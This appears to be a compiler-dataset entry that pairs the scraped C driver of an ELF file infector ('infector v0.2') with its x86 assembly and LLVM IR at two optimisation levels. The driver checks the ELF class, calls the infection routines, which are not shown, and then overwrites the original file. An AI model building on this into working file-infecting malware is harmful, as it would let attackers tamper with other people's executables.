#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int dummy;
};

/* Variables and functions */
size_t EI_CLASS;
int EI_NIDENT;
char ELFCLASS32;
char ELFCLASS64;
int /*<<< orphan*/ ELFMAG;
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ SELFMAG;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ errno;
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *);
int infect_elf32(int, int);
int infect_elf64(int, int);
scalar_t__ memcmp(char *, int /*<<< orphan*/, int /*<<< orphan*/);
int mkstemp(char *);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ print_error(char *, int, int /*<<< orphan*/, char *);
int /*<<< orphan*/ printf(char *, ...);
int read(int, char *, int);
int replace_file(char *, char *, struct stat);
int stat(char *, struct stat *);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ unlink(char *);
int main(int argc, char *argv[]) {
  int fd, fdout, res;
  struct stat st;
  char magic[EI_NIDENT];
  char tmpfile[] = "XXXXXX";
  if (argc != 2) {
    printf("oblique 2010\n");
    printf("infector v0.2\n\n");
    printf("usage: %s elf_file\n", argv[0]);
    return 1;
  }
  if (stat(argv[1], &st) == -1) {
    print_error("/scratch/repos/new/home/jordi_armengol_estape/c-scraper/"
                "outputs/2022-01-22/02-19-57/repos/oblique/elf-infector/refs/"
                "heads/master/main.c",
                29 - 1, errno, "stat");
    return 1;
  }
  if ((fd = open(argv[1], O_RDONLY)) == -1) {
    print_error("/scratch/repos/new/home/jordi_armengol_estape/c-scraper/"
                "outputs/2022-01-22/02-19-57/repos/oblique/elf-infector/refs/"
                "heads/master/main.c",
                34 - 1, errno, "open");
    return 1;
  }
  if ((fdout = mkstemp(tmpfile)) == -1) {
    print_error("/scratch/repos/new/home/jordi_armengol_estape/c-scraper/"
                "outputs/2022-01-22/02-19-57/repos/oblique/elf-infector/refs/"
                "heads/master/main.c",
                39 - 1, errno, "mkstemp");
    close(fd);
    return 1;
  }
  if ((res = read(fd, magic, EI_NIDENT)) == -1) {
    print_error("/scratch/repos/new/home/jordi_armengol_estape/c-scraper/"
                "outputs/2022-01-22/02-19-57/repos/oblique/elf-infector/refs/"
                "heads/master/main.c",
                45 - 1, errno, "read");
    goto _fatal;
  } else if (res != EI_NIDENT) {
    fprintf(stderr, "[-] File is too small\n");
    goto _fatal;
  }
  if (memcmp(magic, ELFMAG, SELFMAG) == 0) {
    if (magic[EI_CLASS] == ELFCLASS32) {
      if (infect_elf32(fd, fdout) == -1)
        goto _fatal;
    } else if (magic[EI_CLASS] == ELFCLASS64) {
      if (infect_elf64(fd, fdout) == -1)
        goto _fatal;
    } else {
      fprintf(stderr, "Unknown ELF class.\n");
      goto _fatal;
    }
  } else {
    fprintf(stderr, "File not ELF.\n");
    goto _fatal;
  }
  close(fd);
  close(fdout);
  printf("[+] Replace the original file\n");
  if (replace_file(tmpfile, argv[1], st) == -1) {
    unlink(tmpfile);
    return 1;
  }
  printf("[+] Done!\n");
  return 0;
_fatal:
  close(fd);
  close(fdout);
  unlink(tmpfile);
  return 1;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0x2df3(%rip),%rax
mov    (%rax),%eax
mov    %rsp,%rcx
mov    %rcx,-0x28(%rbp)
mov    %rax,%rdx
add    $0xf,%rdx
and    $0xfffffffffffffff0,%rdx
mov    %rsp,%rcx
sub    %rdx,%rcx
mov    %rcx,-0x48(%rbp)
mov    %rcx,%rsp
mov    %rax,-0x30(%rbp)
mov    0xde8(%rip),%eax
mov    %eax,-0x37(%rbp)
mov    0xde2(%rip),%ax
mov    %ax,-0x33(%rbp)
mov    0xdda(%rip),%al
mov    %al,-0x31(%rbp)
cmpl   $0x2,-0x8(%rbp)
je     127d <main+0xad>
lea    0xdc7(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xdc7(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xdc2(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
jmp    1570 <main+0x3a0>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    -0x20(%rbp),%rsi
call   10b0 <stat@plt>
cmp    $0xffffffff,%eax
jne    12cb <main+0xfb>
mov    0x2d0a(%rip),%rax
mov    (%rax),%edx
lea    0xd92(%rip),%rdi
mov    $0x1c,%esi
lea    0xe0e(%rip),%rcx
call   1040 <print_error@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
jmp    1570 <main+0x3a0>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
mov    0x2cfe(%rip),%rax
mov    (%rax),%esi
call   10f0 <open@plt>
mov    %eax,-0x14(%rbp)
cmp    $0xffffffff,%eax
jne    1321 <main+0x151>
mov    0x2cb4(%rip),%rax
mov    (%rax),%edx
lea    0xd3c(%rip),%rdi
mov    $0x21,%esi
lea    0xdbd(%rip),%rcx
call   1040 <print_error@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
jmp    1570 <main+0x3a0>
lea    -0x37(%rbp),%rdi
call   10e0 <mkstemp@plt>
mov    %eax,-0x18(%rbp)
cmp    $0xffffffff,%eax
jne    1372 <main+0x1a2>
mov    0x2c6b(%rip),%rax
mov    (%rax),%edx
lea    0xcf3(%rip),%rdi
mov    $0x26,%esi
lea    0xd79(%rip),%rcx
call   1040 <print_error@plt>
mov    -0x14(%rbp),%edi
call   1060 <close@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
jmp    1570 <main+0x3a0>
mov    -0x48(%rbp),%rsi
mov    -0x14(%rbp),%edi
mov    0x2c60(%rip),%rax
mov    (%rax),%edx
call   1070 <read@plt>
mov    %eax,-0x1c(%rbp)
cmp    $0xffffffff,%eax
jne    13b9 <main+0x1e9>
mov    0x2c0e(%rip),%rax
mov    (%rax),%edx
lea    0xc96(%rip),%rdi
mov    $0x2c,%esi
lea    0xd24(%rip),%rcx
call   1040 <print_error@plt>
jmp    1549 <main+0x379>
mov    -0x1c(%rbp),%eax
mov    0x2c1d(%rip),%rcx
cmp    (%rcx),%eax
je     13e5 <main+0x215>
mov    0x2be6(%rip),%rax
mov    (%rax),%edi
lea    0xcfd(%rip),%rsi
call   10a0 <fprintf@plt>
jmp    1549 <main+0x379>
jmp    13ea <main+0x21a>
mov    -0x48(%rbp),%rdi
mov    0x2bf3(%rip),%rax
mov    (%rax),%esi
mov    0x2bb2(%rip),%rax
mov    (%rax),%edx
call   1080 <memcmp@plt>
cmp    $0x0,%rax
jne    14b7 <main+0x2e7>
mov    -0x48(%rbp),%rax
mov    0x2ba6(%rip),%rcx
mov    (%rcx),%rcx
movsbl (%rax,%rcx,1),%eax
mov    0x2b78(%rip),%rcx
movsbl (%rcx),%ecx
cmp    %ecx,%eax
jne    1451 <main+0x281>
mov    -0x14(%rbp),%edi
mov    -0x18(%rbp),%esi
call   1090 <infect_elf32@plt>
cmp    $0xffffffff,%eax
jne    144c <main+0x27c>
jmp    1549 <main+0x379>
jmp    14b2 <main+0x2e2>
mov    -0x48(%rbp),%rax
mov    0x2b64(%rip),%rcx
mov    (%rcx),%rcx
movsbl (%rax,%rcx,1),%eax
mov    0x2b66(%rip),%rcx
movsbl (%rcx),%ecx
cmp    %ecx,%eax
jne    1493 <main+0x2c3>
mov    -0x14(%rbp),%edi
mov    -0x18(%rbp),%esi
call   10c0 <infect_elf64@plt>
cmp    $0xffffffff,%eax
jne    148e <main+0x2be>
jmp    1549 <main+0x379>
jmp    14ad <main+0x2dd>
mov    0x2b1e(%rip),%rax
mov    (%rax),%edi
lea    0xc4c(%rip),%rsi
call   10a0 <fprintf@plt>
jmp    1549 <main+0x379>
jmp    14b2 <main+0x2e2>
jmp    14d1 <main+0x301>
mov    0x2afa(%rip),%rax
mov    (%rax),%edi
lea    0xc3c(%rip),%rsi
call   10a0 <fprintf@plt>
jmp    1549 <main+0x379>
mov    -0x14(%rbp),%edi
call   1060 <close@plt>
mov    -0x18(%rbp),%edi
call   1060 <close@plt>
lea    0xc2a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    -0x37(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
mov    -0x20(%rbp),%edx
call   10d0 <replace_file@plt>
cmp    $0xffffffff,%eax
jne    1528 <main+0x358>
lea    -0x37(%rbp),%rdi
call   1030 <unlink@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
jmp    1570 <main+0x3a0>
lea    0xc02(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x0,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
jmp    1570 <main+0x3a0>
mov    -0x14(%rbp),%edi
call   1060 <close@plt>
mov    -0x18(%rbp),%edi
call   1060 <close@plt>
lea    -0x37(%rbp),%rdi
call   1030 <unlink@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x3c(%rbp)
mov    -0x28(%rbp),%rax
mov    %rax,%rsp
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
mov    %rsp,%rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x18,%rsp
mov    %rsi,%r12
mov    %rsp,%r13
mov    0x2de2(%rip),%r15
mov    (%r15),%eax
mov    %rsp,%rbx
add    $0xf,%rax
and    $0xfffffffffffffff0,%rax
sub    %rax,%rbx
mov    %rbx,%rsp
movl   $0x585858,-0x31(%rbp)
movl   $0x58585858,-0x34(%rbp)
cmp    $0x2,%edi
jne    12cc <main+0xec>
mov    0x8(%r12),%rdi
lea    -0x38(%rbp),%rsi
call   10c0 <stat@plt>
cmp    $0xffffffff,%eax
je     12fb <main+0x11b>
mov    0x8(%r12),%rdi
mov    0x2d8c(%rip),%rax
mov    (%rax),%esi
call   1100 <open@plt>
cmp    $0xffffffff,%eax
je     1321 <main+0x141>
mov    %eax,%r14d
lea    -0x34(%rbp),%rdi
call   10f0 <mkstemp@plt>
cmp    $0xffffffff,%eax
je     1344 <main+0x164>
mov    %eax,-0x2c(%rbp)
mov    (%r15),%edx
mov    %r14d,%edi
mov    %rbx,%rsi
call   1080 <read@plt>
cmp    $0xffffffff,%eax
je     136f <main+0x18f>
cmp    (%r15),%eax
jne    1392 <main+0x1b2>
mov    0x2d4d(%rip),%rax
mov    (%rax),%esi
mov    0x2d0c(%rip),%rax
mov    (%rax),%edx
mov    %rbx,%rdi
call   1090 <memcmp@plt>
test   %rax,%rax
je     13d7 <main+0x1f7>
mov    0x2cfa(%rip),%rax
mov    (%rax),%edi
lea    0xe1e(%rip),%rsi
jmp    13a2 <main+0x1c2>
lea    0xe49(%rip),%rdi
call   1040 <puts@plt>
lea    0xe4a(%rip),%rdi
call   1040 <puts@plt>
mov    (%r12),%rsi
lea    0xd18(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
jmp    13c0 <main+0x1e0>
mov    0x2ca6(%rip),%rax
mov    (%rax),%edx
lea    0xd10(%rip),%rdi
lea    0xd91(%rip),%rcx
mov    $0x1c,%esi
call   1050 <print_error@plt>
jmp    13c0 <main+0x1e0>
mov    0x2c80(%rip),%rax
mov    (%rax),%edx
lea    0xcea(%rip),%rdi
lea    0xd70(%rip),%rcx
mov    $0x21,%esi
call   1050 <print_error@plt>
jmp    13c0 <main+0x1e0>
mov    0x2c5d(%rip),%rax
mov    (%rax),%edx
lea    0xcc7(%rip),%rdi
lea    0xd52(%rip),%rcx
mov    $0x26,%esi
call   1050 <print_error@plt>
mov    %r14d,%edi
call   1070 <close@plt>
jmp    13c0 <main+0x1e0>
mov    0x2c32(%rip),%rax
mov    (%rax),%edx
lea    0xc9c(%rip),%rdi
lea    0xd2f(%rip),%rcx
mov    $0x2c,%esi
call   1050 <print_error@plt>
jmp    13a7 <main+0x1c7>
mov    0x2c1f(%rip),%rax
mov    (%rax),%edi
lea    0xd18(%rip),%rsi
call   10b0 <fprintf@plt>
mov    %r14d,%edi
call   1070 <close@plt>
mov    -0x2c(%rbp),%edi
call   1070 <close@plt>
lea    -0x34(%rbp),%rdi
call   1030 <unlink@plt>
mov    $0x1,%eax
mov    %r13,%rsp
lea    -0x28(%rbp),%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2be2(%rip),%rax
mov    (%rax),%rax
mov    (%rbx,%rax,1),%al
mov    0x2bb5(%rip),%rcx
cmp    (%rcx),%al
jne    13fc <main+0x21c>
mov    %r14d,%edi
mov    -0x2c(%rbp),%esi
call   10a0 <infect_elf32@plt>
jmp    1412 <main+0x232>
mov    0x2bcd(%rip),%rcx
cmp    (%rcx),%al
jne    1460 <main+0x280>
mov    %r14d,%edi
mov    -0x2c(%rbp),%esi
call   10d0 <infect_elf64@plt>
cmp    $0xffffffff,%eax
je     13a7 <main+0x1c7>
mov    %r14d,%edi
call   1070 <close@plt>
mov    -0x2c(%rbp),%edi
call   1070 <close@plt>
lea    0xcc6(%rip),%rdi
call   1040 <puts@plt>
mov    0x8(%r12),%rsi
mov    -0x38(%rbp),%edx
lea    -0x34(%rbp),%rdi
call   10e0 <replace_file@plt>
cmp    $0xffffffff,%eax
je     13b7 <main+0x1d7>
lea    0xcbe(%rip),%rdi
call   1040 <puts@plt>
xor    %eax,%eax
jmp    13c5 <main+0x1e5>
mov    0x2b51(%rip),%rax
mov    (%rax),%edi
lea    0xc61(%rip),%rsi
jmp    13a2 <main+0x1c2>

LLVM IR (-O0):
%struct.stat = type { i32 }
@EI_NIDENT = global i32 0
@__const.main.tmpfile = [7 x i8] c"XXXXXX\00"
@.str = [14 x i8] c"oblique 2010\0A\00"
@.str.1 = [16 x i8] c"infector v0.2\0A\0A\00"
@.str.2 = [20 x i8] c"usage: %s elf_file\0A\00"
@.str.3 = [136 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/oblique/elf-infector/refs/heads/master/main.c\00"
@errno = global i32 0
@.str.4 = [5 x i8] c"stat\00"
@O_RDONLY = global i32 0
@.str.5 = [5 x i8] c"open\00"
@.str.6 = [8 x i8] c"mkstemp\00"
@.str.7 = [5 x i8] c"read\00"
@stderr = global i32 0
@.str.8 = [23 x i8] c"[-] File is too small\0A\00"
@ELFMAG = global i32 0
@SELFMAG = global i32 0
@EI_CLASS = global i64 0
@ELFCLASS32 = global i8 0
@ELFCLASS64 = global i8 0
@.str.9 = [20 x i8] c"Unknown ELF class.\0A\00"
@.str.10 = [15 x i8] c"File not ELF.\0A\00"
@.str.11 = [31 x i8] c"[+] Replace the original file\0A\00"
@.str.12 = [11 x i8] c"[+] Done!\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca %struct.stat
%10 = alloca i8*
%11 = alloca i64
%12 = alloca [7 x i8]
%13 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%14 = load i32, i32* @EI_NIDENT
%15 = zext i32 %14 to i64
%16 = call i8* @llvm.stacksave()
store i8* %16, i8** %10
%17 = alloca i8, i64 %15
store i64 %15, i64* %11
%18 = bitcast [7 x i8]* %12 to i8*
%19 = load i32, i32* %4
%20 = icmp ne i32 %19, 2
br i1 %20, label %21, label %28
21: ; preds = %2
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%23 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.1, i64 0, i64 0))
%24 = load i8**, i8*** %5
%25 = getelementptr inbounds i8*, i8** %24, i64 0
%26 = load i8*, i8** %25
%27 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i8* %26)
store i32 1, i32* %3
store i32 1, i32* %13
br label %141
28: ; preds = %2
%29 = load i8**, i8*** %5
%30 = getelementptr inbounds i8*, i8** %29, i64 1
%31 = load i8*, i8** %30
%32 = call i32 @stat(i8* %31, %struct.stat* %9)
%33 = icmp eq i32 %32, -1
br i1 %33, label %34, label %37
34: ; preds = %28
%35 = load i32, i32* @errno
%36 = call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 28, i32 %35, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.4, i64 0, i64 0))
store i32 1, i32* %3
store i32 1, i32* %13
br label %141
37: ; preds = %28
%38 = load i8**, i8*** %5
%39 = getelementptr inbounds i8*, i8** %38, i64 1
%40 = load i8*, i8** %39
%41 = load i32, i32* @O_RDONLY
%42 = call i32 @open(i8* %40, i32 %41)
store i32 %42, i32* %6
%43 = icmp eq i32 %42, -1
br i1 %43, label %44, label %47
44: ; preds = %37
%45 = load i32, i32* @errno
%46 = call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 33, i32 %45, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0))
store i32 1, i32* %3
store i32 1, i32* %13
br label %141
47: ; preds = %37
%48 = getelementptr inbounds [7 x i8], [7 x i8]* %12, i64 0, i64 0
%49 = call i32 @mkstemp(i8* %48)
store i32 %49, i32* %7
%50 = icmp eq i32 %49, -1
br i1 %50, label %51, label %56
51: ; preds = %47
%52 = load i32, i32* @errno
%53 = call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 38, i32 %52, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0))
%54 = load i32, i32* %6
%55 = call i32 @close(i32 %54)
store i32 1, i32* %3
store i32 1, i32* %13
br label %141
56: ; preds = %47
%57 = load i32, i32* %6
%58 = load i32, i32* @EI_NIDENT
%59 = call i32 @read(i32 %57, i8* %17, i32 %58)
store i32 %59, i32* %8
%60 = icmp eq i32 %59, -1
br i1 %60, label %61, label %64
61: ; preds = %56
%62 = load i32, i32* @errno
%63 = call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 44, i32 %62, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.7, i64 0, i64 0))
br label %134
64: ; preds = %56
%65 = load i32, i32* %8
%66 = load i32, i32* @EI_NIDENT
%67 = icmp ne i32 %65, %66
br i1 %67, label %68, label %71
68: ; preds = %64
%69 = load i32, i32* @stderr
%70 = call i32 @fprintf(i32 %69, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.8, i64 0, i64 0))
br label %134
71: ; preds = %64
br label %72
72: ; preds = %71
%73 = load i32, i32* @ELFMAG
%74 = load i32, i32* @SELFMAG
%75 = call i64 @memcmp(i8* %17, i32 %73, i32 %74)
%76 = icmp eq i64 %75, 0
br i1 %76, label %77, label %112
77: ; preds = %72
%78 = load i64, i64* @EI_CLASS
%79 = getelementptr inbounds i8, i8* %17, i64 %78
%80 = load i8, i8* %79
%81 = sext i8 %80 to i32
%82 = load i8, i8* @ELFCLASS32
%83 = sext i8 %82 to i32
%84 = icmp eq i32 %81, %83
br i1 %84, label %85, label %92
85: ; preds = %77
%86 = load i32, i32* %6
%87 = load i32, i32* %7
%88 = call i32 @infect_elf32(i32 %86, i32 %87)
%89 = icmp eq i32 %88, -1
br i1 %89, label %90, label %91
90: ; preds = %85
br label %134
91: ; preds = %85
br label %111
92: ; preds = %77
%93 = load i64, i64* @EI_CLASS
%94 = getelementptr inbounds i8, i8* %17, i64 %93
%95 = load i8, i8* %94
%96 = sext i8 %95 to i32
%97 = load i8, i8* @ELFCLASS64
%98 = sext i8 %97 to i32
%99 = icmp eq i32 %96, %98
br i1 %99, label %100, label %107
100: ; preds = %92
%101 = load i32, i32* %6
%102 = load i32, i32* %7
%103 = call i32 @infect_elf64(i32 %101, i32 %102)
%104 = icmp eq i32 %103, -1
br i1 %104, label %105, label %106
105: ; preds = %100
br label %134
106: ; preds = %100
br label %110
107: ; preds = %92
%108 = load i32, i32* @stderr
%109 = call i32 @fprintf(i32 %108, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.9, i64 0, i64 0))
br label %134
110: ; preds = %106
br label %111
111: ; preds = %110, %91
br label %115
112: ; preds = %72
%113 = load i32, i32* @stderr
%114 = call i32 @fprintf(i32 %113, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.10, i64 0, i64 0))
br label %134
115: ; preds = %111
%116 = load i32, i32* %6
%117 = call i32 @close(i32 %116)
%118 = load i32, i32* %7
%119 = call i32 @close(i32 %118)
%120 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.11, i64 0, i64 0))
%121 = getelementptr inbounds [7 x i8], [7 x i8]* %12, i64 0, i64 0
%122 = load i8**, i8*** %5
%123 = getelementptr inbounds i8*, i8** %122, i64 1
%124 = load i8*, i8** %123
%125 = getelementptr inbounds %struct.stat, %struct.stat* %9, i32 0, i32 0
%126 = load i32, i32* %125
%127 = call i32 @replace_file(i8* %121, i8* %124, i32 %126)
%128 = icmp eq i32 %127, -1
br i1 %128, label %129, label %132
129: ; preds = %115
%130 = getelementptr inbounds [7 x i8], [7 x i8]* %12, i64 0, i64 0
%131 = call i32 @unlink(i8* %130)
store i32 1, i32* %3
store i32 1, i32* %13
br label %141
132: ; preds = %115
%133 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.12, i64 0, i64 0))
store i32 0, i32* %3
store i32 1, i32* %13
br label %141
134: ; preds = %112, %107, %105, %90, %68, %61
%135 = load i32, i32* %6
%136 = call i32 @close(i32 %135)
%137 = load i32, i32* %7
%138 = call i32 @close(i32 %137)
%139 = getelementptr inbounds [7 x i8], [7 x i8]* %12, i64 0, i64 0
%140 = call i32 @unlink(i8* %139)
store i32 1, i32* %3
store i32 1, i32* %13
br label %141
141: ; preds = %134, %132, %129, %51, %44, %34, %21
%142 = load i8*, i8** %10
%143 = load i32, i32* %3
ret i32 %143
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@EI_NIDENT = global i32 0
@__const.main.tmpfile = [7 x i8] c"XXXXXX\00"
@.str.2 = [20 x i8] c"usage: %s elf_file\0A\00"
@.str.3 = [136 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/oblique/elf-infector/refs/heads/master/main.c\00"
@errno = global i32 0
@.str.4 = [5 x i8] c"stat\00"
@O_RDONLY = global i32 0
@.str.5 = [5 x i8] c"open\00"
@.str.6 = [8 x i8] c"mkstemp\00"
@.str.7 = [5 x i8] c"read\00"
@stderr = global i32 0
@.str.8 = [23 x i8] c"[-] File is too small\0A\00"
@ELFMAG = global i32 0
@SELFMAG = global i32 0
@EI_CLASS = global i64 0
@ELFCLASS32 = global i8 0
@ELFCLASS64 = global i8 0
@.str.9 = [20 x i8] c"Unknown ELF class.\0A\00"
@.str.10 = [15 x i8] c"File not ELF.\0A\00"
@str = [30 x i8] c"[+] Replace the original file\00"
@str.13 = [10 x i8] c"[+] Done!\00"
@str.14 = [13 x i8] c"oblique 2010\00"
@str.15 = [15 x i8] c"infector v0.2\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.stat
%4 = alloca [7 x i8]
%5 = bitcast %struct.stat* %3 to i8*
%6 = load i32, i32* @EI_NIDENT
%7 = zext i32 %6 to i64
%8 = tail call i8* @llvm.stacksave()
%9 = alloca i8, i64 %7
%10 = getelementptr inbounds [7 x i8], [7 x i8]* %4, i64 0, i64 0
%11 = icmp eq i32 %0, 2
br i1 %11, label %17, label %12
12: ; preds = %2
%13 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([13 x i8], [13 x i8]* @str.14, i64 0, i64 0))
%14 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @str.15, i64 0, i64 0))
%15 = load i8*, i8** %1
%16 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0), i8* %15)
br label %96
17: ; preds = %2
%18 = getelementptr inbounds i8*, i8** %1, i64 1
%19 = load i8*, i8** %18
%20 = call i32 @stat(i8* %19, %struct.stat* %3)
%21 = icmp eq i32 %20, -1
br i1 %21, label %22, label %25
22: ; preds = %17
%23 = load i32, i32* @errno
%24 = tail call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 28, i32 %23, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.4, i64 0, i64 0))
br label %96
25: ; preds = %17
%26 = load i8*, i8** %18
%27 = load i32, i32* @O_RDONLY
%28 = tail call i32 @open(i8* %26, i32 %27)
%29 = icmp eq i32 %28, -1
br i1 %29, label %30, label %33
30: ; preds = %25
%31 = load i32, i32* @errno
%32 = tail call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 33, i32 %31, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0))
br label %96
33: ; preds = %25
%34 = call i32 @mkstemp(i8* %10)
%35 = icmp eq i32 %34, -1
br i1 %35, label %36, label %40
36: ; preds = %33
%37 = load i32, i32* @errno
%38 = call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 38, i32 %37, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0))
%39 = call i32 @close(i32 %28)
br label %96
40: ; preds = %33
%41 = load i32, i32* @EI_NIDENT
%42 = call i32 @read(i32 %28, i8* %9, i32 %41)
%43 = icmp eq i32 %42, -1
br i1 %43, label %44, label %47
44: ; preds = %40
%45 = load i32, i32* @errno
%46 = call i32 @print_error(i8* getelementptr inbounds ([136 x i8], [136 x i8]* @.str.3, i64 0, i64 0), i32 44, i32 %45, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.7, i64 0, i64 0))
br label %92
47: ; preds = %40
%48 = load i32, i32* @EI_NIDENT
%49 = icmp eq i32 %42, %48
br i1 %49, label %53, label %50
50: ; preds = %47
%51 = load i32, i32* @stderr
%52 = call i32 @fprintf(i32 %51, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.8, i64 0, i64 0))
br label %92
53: ; preds = %47
%54 = load i32, i32* @ELFMAG
%55 = load i32, i32* @SELFMAG
%56 = call i64 @memcmp(i8* %9, i32 %54, i32 %55)
%57 = icmp eq i64 %56, 0
br i1 %57, label %58, label %76
58: ; preds = %53
%59 = load i64, i64* @EI_CLASS
%60 = getelementptr inbounds i8, i8* %9, i64 %59
%61 = load i8, i8* %60
%62 = load i8, i8* @ELFCLASS32
%63 = icmp eq i8 %61, %62
br i1 %63, label %64, label %67
64: ; preds = %58
%65 = call i32 @infect_elf32(i32 %28, i32 %34)
%66 = icmp eq i32 %65, -1
br i1 %66, label %92, label %79
67: ; preds = %58
%68 = load i8, i8* @ELFCLASS64
%69 = icmp eq i8 %61, %68
br i1 %69, label %70, label %73
70: ; preds = %67
%71 = call i32 @infect_elf64(i32 %28, i32 %34)
%72 = icmp eq i32 %71, -1
br i1 %72, label %92, label %79
73: ; preds = %67
%74 = load i32, i32* @stderr
%75 = call i32 @fprintf(i32 %74, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.9, i64 0, i64 0))
br label %92
76: ; preds = %53
%77 = load i32, i32* @stderr
%78 = call i32 @fprintf(i32 %77, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.10, i64 0, i64 0))
br label %92
79: ; preds = %64, %70
%80 = call i32 @close(i32 %28)
%81 = call i32 @close(i32 %34)
%82 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @str, i64 0, i64 0))
%83 = load i8*, i8** %18
%84 = getelementptr inbounds %struct.stat, %struct.stat* %3, i64 0, i32 0
%85 = load i32, i32* %84
%86 = call i32 @replace_file(i8* %10, i8* %83, i32 %85)
%87 = icmp eq i32 %86, -1
br i1 %87, label %88, label %90
88: ; preds = %79
%89 = call i32 @unlink(i8* %10)
br label %96
90: ; preds = %79
%91 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([10 x i8], [10 x i8]* @str.13, i64 0, i64 0))
br label %96
92: ; preds = %70, %64, %76, %73, %50, %44
%93 = call i32 @close(i32 %28)
%94 = call i32 @close(i32 %34)
%95 = call i32 @unlink(i8* %10)
br label %96
96: ; preds = %92, %90, %88, %36, %30, %22, %12
%97 = phi i32 [ 1, %12 ], [ 1, %22 ], [ 1, %30 ], [ 1, %36 ], [ 1, %92 ], [ 1, %88 ], [ 0, %90 ]
ret i32 %97
}